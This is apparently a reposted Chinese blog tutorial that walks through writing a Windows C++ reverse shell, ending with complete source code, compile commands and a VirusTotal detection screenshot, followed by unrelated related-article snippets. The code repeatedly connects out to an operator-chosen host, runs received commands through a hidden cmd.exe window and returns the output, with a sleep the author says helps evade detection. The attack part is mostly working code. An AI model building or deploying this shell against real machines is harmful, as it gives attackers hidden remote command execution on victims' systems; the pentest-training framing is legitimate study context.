cmd管道无法接收特定程序返回值_渗透不会反弹shell?来教你写一个cmd的shell

渗透不会反弹shell?来教你写一个cmd的shell

包含的库:

#include #include #include #include #include #pragma comment(lib, "Ws2_32.lib")#define DEFAULT_BUFLEN 1024

winsock2和ws2tcpip两个库文件是用来初始化网络套接字的。windows用来初始化一些windows下的函数,string方便我们后面的一些字符串转换,iostream则是标准的c++头文件,#pragma comment(lib,“Ws2_32.lib”)用来指定编译器使用静态编译该库文件,防止其他环境下无法正常运行我们的文件。1024为给socket的recv和send函数定义缓冲区长度。

我们定义一个函数和一个主函数,反向shell的函数RunShell,两个参数,一个是我们的host一个是ip

int RunShell(char *host, int port){}int main(int argc, char** argv) {}

其中的argc为调用的参数的个数,argv为具体的值。这里稍微要注意一下,在接受参数的时候,默认的第一个参数是文件的路径名,所以,我们在接下来的传参的过程中,需要将argv[1]、argv[2]传递给我们的RunShell。

下面我们来编写我们的RunShell函数,为了避免中间有断开之类的情况,我们使用一个while循环进行一直监听,然后监听之前进行一些休眠,可以绕过部分检测,代码如下:

while (true)  {    Sleep(5000);//进行休眠,可过一些检测    SOCKET ShellSock;    sockaddr_in C2addr;//定义sock初始化需要的变量    WSADATA Sockver = { 0 };//定义并初始化一个LPWSADATA的指针    WSAStartup(MAKEWORD(2, 2), &Sockver);//初始化socket    ShellSock = socket(      AF_INET, //地址描述      SOCK_STREAM, //套接字类型      IPPROTO_TCP //协议类型    );    C2addr.sin_family = AF_INET;    C2addr.sin_addr.S_un.S_addr = inet_addr(host);//转化Ip地址    C2addr.sin_port = htons(port);//转换端口    if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {      closesocket(ShellSock);      WSACleanup();//关闭套接字      continue;    } //连接目标  }

基本上都已经给出来了注释,都是windows的api,具体的作用就是用来声明一个socket套接字,然后跟目标进行连接,如果失败,则跳出本次循环,继续发出请求。

具体的用法,可以查看微软官方的文档:

https://docs.microsoft.com/zh-cn/windows/win32/api/winsock2/nf-winsock2-wsaconnect

我们继续,接下来我们来编写我们的接收函数,并进行处理。

    char RecvData[DEFAULT_BUFLEN];      memset(RecvData, 0, sizeof(RecvData));//将RecvData清0      int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收数据      if (RecvCode<=0) {        closesocket(ShellSock);        WSACleanup();        continue;      }

然后我们定义一个数组来存放我们接收的数据,并使用memset将其清0,保证数据的准确性,因为recv如果错误的返回值是0或者负数,所以我们进行一个简单的判断,小于等于0时做跟前面相同的操作。

具体函数的用法参考:

https://docs.microsoft.com/zh-cn/windows/win32/api/winsock/nf-winsock-recv

假如此时我们已经跟主机建立了连接,也成功接受到了数据,我们就应该将我们接收到的数据进行执行,并但返回给我们的主机。

主要思路就是调用CreateProcessA函数函数,去处理我们接收的值,然后启动一个cmd进程处理并返回。

我们先来看一下CreateProcessA的用法:

BOOL CreateProcessA(  LPCSTR                lpApplicationName,  LPSTR                 lpCommandLine,  LPSECURITY_ATTRIBUTES lpProcessAttributes,  LPSECURITY_ATTRIBUTES lpThreadAttributes,  BOOL                  bInheritHandles,  DWORD                 dwCreationFlags,  LPVOID                lpEnvironment,  LPCSTR                lpCurrentDirectory,  LPSTARTUPINFOA        lpStartupInfo,  LPPROCESS_INFORMATION lpProcessInformation);

其他的都好说,主要是后两个参数,STARTUPINFOA 和PROCESS_INFORMATION的指针,他们的定义为:

typedef struct _PROCESS_INFORMATION {  HANDLE hProcess;  HANDLE hThread;  DWORD  dwProcessId;  DWORD  dwThreadId;} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
typedef struct _STARTUPINFOA {  DWORD  cb;  LPSTR  lpReserved;  LPSTR  lpDesktop;  LPSTR  lpTitle;  DWORD  dwX;  DWORD  dwY;  DWORD  dwXSize;  DWORD  dwYSize;  DWORD  dwXCountChars;  DWORD  dwYCountChars;  DWORD  dwFillAttribute;  DWORD  dwFlags;  WORD   wShowWindow;  WORD   cbReserved2;  LPBYTE lpReserved2;  HANDLE hStdInput;  HANDLE hStdOutput;  HANDLE hStdError;} STARTUPINFOA, *LPSTARTUPINFOA;

既然需要我们就定义这样的两个指针,然后再来调用我们的函数。

  • pApplicationName指向一个NULL结尾的、用来指定可执行模块的字符串。这个参数可以被设为NULL,在这种情况下,可执行模块的名字必须处于 lpCommandLine 参数最前面并由空格符与后面的字符分开。

  • lpCommandLine指向一个以NULL结尾的字符串,该字符串指定要执行的命令行。这个参数可以为空,那么函数将使用lpApplicationName参数指定的字符串当做要运行的程序的命令行。如果lpApplicationName和lpCommandLine参数都不为空,那么lpApplicationName参数指定将要被运行的模块,lpCommandLine参数指定将被运行的模块的命令行。新运行的进程可以使用GetCommandLine函数获得整个命令行。C语言程序可以使用argc和argv参数。

  • lpProcessAttributes指向一个SECURITY_ATTRIBUTES结构体,这个结构体决定是否返回的句柄可以被子进程继承。

  • lpThreadAttributes同lpProcessAttribute,不过这个参数决定的是线程是否被继承,通常置为NULL。

  • bInheritHandles指示新进程是否从调用进程处继承了句柄。如果参数的值为真,调用进程中的每一个可继承的打开句柄都将被子进程继承。被继承的句柄与原进程拥有完全相同的值和访问权限。

  • dwCreationFlags指定附加的、用来控制优先类和进程的创建的标志。

  • lpEnvironment指向一个新进程的环境块。如果此参数为空,新进程使用调用进程的环境。一个环境块存在于一个由以NULL结尾的字符串组成的块中,这个块也是以NULL结尾的。

  • lpCurrentDirectory指向一个以NULL结尾的字符串,这个字符串用来指定子进程的工作路径。这个字符串必须是一个包含驱动器名的绝对路径。如果这个参数为空,新进程将使用与调用进程相同的驱动器和目录。这个选项是一个需要启动应用程序并指定它们的驱动器和工作目录的外壳程序的主要条件。

  • lpStartupInfo指向一个用于决定新进程的主窗体如何显示的STARTUPINFO结构体。

  • lpProcessInformation指向一个用来接收新进程的识别信息的PROCESS_INFORMATION结构体。

  • cb表示包含STARTUPINFO结构中的字节数,应用程序必须将cb初始化为sizeof(STARTUPINFO)。

  • dwFlags表示结构体启用哪些成员,其中STARTF_USESHOWWINDOW表示使用结构体成员wShowWindow;STARTF_USESTDHANDLES表示使用结构体成员hStdInput、hStdOutput 和 hStdError。

  • wShowWindow用于窗口显示方式,SW_HIDE表示隐藏窗口。

  • hStdOutput 和 hStdError用于标识控制台窗口的缓存。

除了这些之外,我们还需要一个管道来获取命令执行后的值。

BOOL WINAPI CreatePipe(       _Out_PHANDLE hReadPipe,       _Out_PHANDLE hWritePipe,       _In_opt_LPSECURITY_ATTRIBUTES lpPipeAttributes,      _In_DWORD nSize );
  HANDLE hReadPipe = NULL;        HANDLE hWritePipe = NULL;        SECURITY_ATTRIBUTES securityAttributes = { 0 };        BOOL bRet = FALSE;        STARTUPINFO si = { 0 };        char command[] = "cmd.exe /c ";        PROCESS_INFORMATION pi = { 0 };        char pszResultBuffer[DEFAULT_BUFLEN];        // 设定管道的安全属性        securityAttributes.bInheritHandle = TRUE;        securityAttributes.nLength = sizeof(securityAttributes);        securityAttributes.lpSecurityDescriptor = NULL;        // 创建匿名管道        bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);        // 设置新进程参数        si.cb = sizeof(si);        si.hStdError = hWritePipe;        si.hStdOutput = hWritePipe;        si.wShowWindow = SW_HIDE;        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;        // 创建新进程执行命令, 将执行结果写入匿名管道中        strcat(command, RecvData);        bRet = ::CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);        // 等待命令执行结束        ::WaitForSingleObject(pi.hThread, INFINITE);        ::WaitForSingleObject(pi.hProcess, INFINITE);        // 从匿名管道中读取结果到输出缓冲区        memset(pszResultBuffer, 0, sizeof(pszResultBuffer));        ::ReadFile(hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, NULL, NULL);        // 关闭句柄, 释放内存        ::CloseHandle(pi.hThread);        ::CloseHandle(pi.hProcess);        ::CloseHandle(hWritePipe);        ::CloseHandle(hReadPipe);        send(ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0);

大体的流程就是初始化匿名管道的安全属性结构体SECURITY_ATTRIBUTES调用函数 CreatePipe 创建匿名管道,获取管道数据读取句柄和管道数据写入句柄对即将创建的进程结构体STARTUPINFO进行初始化,设置进程窗口隐藏,并把上面管道数据写入句柄赋值给新进程控制台窗口的缓存句柄,这样,新进程会把窗口缓存的输出数据写入到匿名管道中开始调用 CreateProcess 函数创建新进程,执行 CMD 命令,并调用函数 WaitForSingleObject 等待命令执行完毕,命令执行完毕后,便调用 ReadFile 函数根据匿名管道的数据读取句柄从匿名管道的缓冲区中读取缓冲区的数据,这个数据就是新进程执行命令返回的结果数据,然后将得到的数据发送给我们的服务端。

详细的函数说明如下:

https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobjecthttps://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessahttps://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information

最后的代码如下:

#include #include #include #include #include #pragma comment(lib, "Ws2_32.lib")#define DEFAULT_BUFLEN 1024using namespace std;int RunShell(char *host, int port){  while (true)  {    Sleep(5000);    SOCKET ShellSock;    sockaddr_in C2addr;    WSADATA Sockver = { 0 };    WSAStartup(MAKEWORD(2, 2), &Sockver);    ShellSock = socket(      AF_INET,       SOCK_STREAM,       IPPROTO_TCP     );    C2addr.sin_family = AF_INET;    C2addr.sin_addr.S_un.S_addr = inet_addr(host);    C2addr.sin_port = htons(port);    if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {      closesocket(ShellSock);      WSACleanup();      continue;    }    else    {      char RecvData[DEFAULT_BUFLEN];      memset(RecvData, 0, sizeof(RecvData));      int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);      if (RecvCode<=0) {        closesocket(ShellSock);        WSACleanup();        continue;      }      else      {        HANDLE hReadPipe = NULL;        HANDLE hWritePipe = NULL;        SECURITY_ATTRIBUTES securityAttributes = { 0 };        BOOL bRet = FALSE;        STARTUPINFO si = { 0 };        char command[] = "cmd.exe /c ";        PROCESS_INFORMATION pi = { 0 };        char pszResultBuffer[DEFAULT_BUFLEN];        securityAttributes.bInheritHandle = TRUE;        securityAttributes.nLength = sizeof(securityAttributes);        securityAttributes.lpSecurityDescriptor = NULL;        bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);        si.cb = sizeof(si);        si.hStdError = hWritePipe;        si.hStdOutput = hWritePipe;        si.wShowWindow = SW_HIDE;        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;        strcat(command, RecvData);        bRet = ::CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);        ::WaitForSingleObject(pi.hThread, INFINITE);        ::WaitForSingleObject(pi.hProcess, INFINITE);        memset(pszResultBuffer, 0, sizeof(pszResultBuffer));        ::ReadFile(hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, NULL, NULL);        ::CloseHandle(pi.hThread);        ::CloseHandle(pi.hProcess);        ::CloseHandle(hWritePipe);        ::CloseHandle(hReadPipe);        send(ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0);      }    }  }}int main(int argc, char** argv) {  int port = atoi(argv[2]);  RunShell(argv[1],port);}

使用下面的方式编译:

i686-w64-mingw32-g++ 2.cpp -o 2.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

执行效果如下:

7c1261fdb3175005152ceaaf398053df.png

d6c6470069645c64e356d928ad2c4b5e.png

vt检测:

abcb28cd70bdf16af27bbcbe35790575.png

参考文章:

https://scriptdotsh.com/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/

https://www.codeleading.com/article/1126284392/

在渗透测试过程中,经常会用到反弹shell,学习本实验《反弹shell的N种姿势》,了解反弹shell的概念和原理,掌握各种反弹shell的实现技术和方法。复制下方链接,也可以点击

http://www.hetianlab.com/expc.do?ec=ECID5176-f1a3-433a-b3a2-a7ff4eab2d1d

b843615080760b607522b06466e5c0cc.gif

点击获取:2019原创干货集锦 | 掌握学习主动权

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

0781aa5a127ea267ca862becefa5f60a.gif

bf039b6a179f12c5c39ec6f8448a2536.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/245732.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

有类似split的命令吗_5分钟学linux命令之split

情景介绍平时工作中&#xff0c;我习惯使用rz从本地上传文件到服务器&#xff0c;sz从服务器下载文件到本地&#xff0c;但对传输文件大小有限制&#xff0c;例如排查线上jvm的问题&#xff0c;需要生成了dump文件&#xff0c;可能有10G大&#xff0c;超过了限制&#xff0c;怎…

乐观锁的颗粒度_MySql数据库锁机制详解

概述数据库锁定机制简单的来说&#xff0c;就是数据库为了保证数据的一致性与完整性&#xff0c;而使各种共享资源在被并发访问时变得有序所设计的一种规则。对于任何一种数据库来说都需要有相应的锁机制&#xff0c;所以MySQL也不能例外。MySQL数据库根据锁锁定数据的颗粒度可…

云溪怎么导入dxf_dwg怎么转换成dxf文件?超详细图文教程分享

在CAD相关的工作中,我们经常遇到这种问题&#xff0c;需要把DWG格式的CAD图纸转换成DXF格式。那么&#xff0c;我们应该怎么做呢&#xff1f;接下来为你介绍这一个方法&#xff0c;非常方便快速哦。准备电脑风云CAD转换器具体步骤&#xff1a;在桌面上新建文件夹&#xff0c;将…

特斯拉是l3还是l2_比特斯拉还“高一级”,长安的“L3级自动驾驶”到底什么来头?...

3月5日&#xff0c;长安发布了旗下全新轿跑SUV——UNI-T&#xff0c;新车一经亮相&#xff0c;便凭借极具科幻的造型&#xff0c;以及越级的动力性能吸粉无数。而在大家意犹未尽之时&#xff0c;长安又在3月10日&#xff0c;通过UNI-T发布了“L3级自动驾驶”量产体验&#xff0…

mysql5.7.17配置_mysql-5.7.17-winx64的安装配置

第一步&#xff1a;下载mysql-5.7.17-winx64解压版本&#xff1a;http://dev.mysql.com/downloads/mysql/第二步&#xff1a;解压到安装目录&#xff0c;如&#xff1a;C:\myprogram\mysql-5.7.17-winx64第三步&#xff1a;设置环境变量操作如下&#xff1a;1)右键单击我的电脑…

openstack实例控制台显示响应时间过长_监控OpenStack的技巧

如果你以前曾在云平台上工作过&#xff0c;你一定熟悉这些系统的分布式和解耦性质。解耦的分布式系统依赖于微服务来执行特定的任务&#xff0c;每个微服务都会暴露自己的REST(表示状态转移)API。这些微服务通常以诸如RabbitMQ或QPID等消息中间件的形式通过轻量级消息层相互通信…

java8 创建list方式_Java 8 创建 Stream 的 10 种方式,我保证你受益无穷!

今天来分享下在 Java 8 中创建 Stream 的 10 种方式,我就整理了 10 种,其实还有更多,仅供大家参考学习下。 1、Stream.of 可变参数 Stream<String> stream1 = Stream.of("A", "B", "C"); System.out.println("stream1:" + st…

js map满足条件跳出循环_js.es5 map循环一大坑:循环遍历竟然出现逗号!

一、mapmap大法好作为当今程序界最好用的循环方法之一map, 在我的项目里基本替代了for循环map循环常用的一些方法/********* ES6 **********///一行代码可以省略returnarray.map( item > console.log(item))>array.map( item > {return console.log(item)})//多行代码…

micropython按键控制流水灯_【micro:bit Micropython】The LED Display(1)控制像素点

使用DFrobot研发的micropython编程软件uPyCraft&#xff0c;下载固件(Firmware)和下载程序都非常方便。可以在DFrobot论坛中进行下载。uPyCraft软件运行界面官网中的micro:bit Micropython API介绍得非常详细&#xff0c;为开发人员提供了详细的文字说明和参照。micro:bit Micr…

python中exp_python中的exp是什么

Python exp() 函数描述exp() 函数返回 x 的指数&#xff0c;。语法import mathmath.exp(x)注意&#xff1a;exp() 是不能直接访问的&#xff0c;需导入 math 模块&#xff0c;通过静态对象调用该方法。参数x -- 数值表达式。返回值返回 x 的指数&#xff0c;。实例# -*- coding…

python干货_python 基础干货 02

list 与 tuplelist 类似 数组tuple 跟 list 一样, 只是一旦定义, 里边的内容不可以改变.这样, 上边的内容就不可以改变了."可变的" tuple, 不是说 tuple 是不可以改变的么?想内存dict 与 setdict 是 python内置字典, 其他语言中称为 map, 使用键-值(key-value)存储&…

mysql安装目录问题_Windows下MySQL的安装目录问题

今天发现一个MySQL的问题&#xff0c;当把MySQL的文件目录安放在t字母打头的目录下时&#xff0c;比如d:/test目录&#xff0c;mysql服务就起不来了&#xff0c;报告找不到文件:D:/test/mysql>bin/mysqld-nt.exe --console090811 10:09:55 [ERROR] Cant find messagefile D:…

大学考试分数越高学分越多吗_大学的绩点和学分有什么用?影响学生毕业吗

原标题&#xff1a;大学的绩点和学分有什么用&#xff1f;影响学生毕业吗网友一&#xff1a;读大学也要关心成绩&#xff0c;绩点和学分是两个重要指标&#xff0c;到底是什么&#xff0c;怎么计算&#xff1f;有什么用处&#xff1f;为什么很重要&#xff1f;面试官最看重哪些…

pandas输出到excel_python读写excel等数据文件方法汇总

python处理数据文件第一步是要读取数据&#xff0c;文件类型主要包括文本文件&#xff08;csv、txt等&#xff09;、excel文件、数据库文件、api等。下面整理下python有哪些方式可以读取数据文件。1. python内置方法&#xff08;read、readline、readlines&#xff09;read()&a…

dijkstra算法_Python实现图的经典DFS、BFS、Dijkstra、Floyd、Prim、Kruskal算法

讲在前面的话&#xff0c;图的算法太多&#xff0c;理论知识肯定一篇文章讲不完&#xff0c;关于理论知识大家可以参考教材Sedgewick的《算法》或reference的链接,本文主要还是想在一篇文章中记录六种算法的Python代码。同样想吐槽一下&#xff0c;虽然网上博客很多&#xff0c…

深度学习试题_高中生物:今年高考试题3点显著变化及5个备考建议!不看准吃亏...

新课标下的新高考即将开启&#xff0c;最后一届旧高考模式在不同寻常的2020年七月份已圆满结束。今年全国Ⅰ卷理综生物试题有几个明显变化。1.内容、范围不变&#xff0c;考查理解能力和实践能力加强作为过渡期的高考&#xff0c;全国高考Ⅰ卷理综生物试题题型结构保持不变&…

电脑工具栏怎么调整到下面_雷电模拟器4.0怎么玩召唤与合成 一键下载轻松游玩 - 工具软件...

召唤与合成是一款既不是卡牌&#xff0c;也不是消除&#xff0c;也不算策略的高烧脑解谜手游&#xff0c;很多玩家想要利用雷电模拟器来在电脑上运行手游&#xff0c;却不知道怎么操作&#xff0c;下面就来教教大家如何在雷电模拟器上玩召唤与合成。1、首先要下载游戏&#xff…

ESP8266网络相框采用TFT_eSPI库TJpg_Decoder库mixly库UDP库实现图片传送

用ESP8266和TFT_ESPI模块来显示图片数据。具体来说&#xff0c;我们将使用ILI9431显示器作为显示设备&#xff0c;并通过UDP协议将图片数据从发送端传输到ESP8266。最后&#xff0c;我们将解析这些数据并在TFT屏幕上显示出来。在这个过程中&#xff0c;我们将面临一些编程挑战&…

c++ vector 一部分_为什么现在的手机都采用Type-C接口?它到底好在哪里?看完你就明白了...

不知道你们有没有发现&#xff0c;现如今的安卓手机几乎都使用Type-C接口。前两年还只是大部分手机采用的Micro USB接口&#xff0c;只有很小一部分使用的是Type-C接口。那到底是什么原因导致它&#xff0c;能在那么快的速度几乎在业内通用呢&#xff1f;一、使用方便&#xff…

java listen_Java进阶-IO基础

计算机最重要的功能是处理数据。一个有用的计算机语言需要拥有良好的IO功能&#xff0c;以便让未处理的数据流入程序&#xff0c;让已处理的数据流出。与其他语言相比&#xff0c;Java的IO功能显得复杂。在其他语言中&#xff0c;许多IO功能(比如读取文件)&#xff0c;是被封装…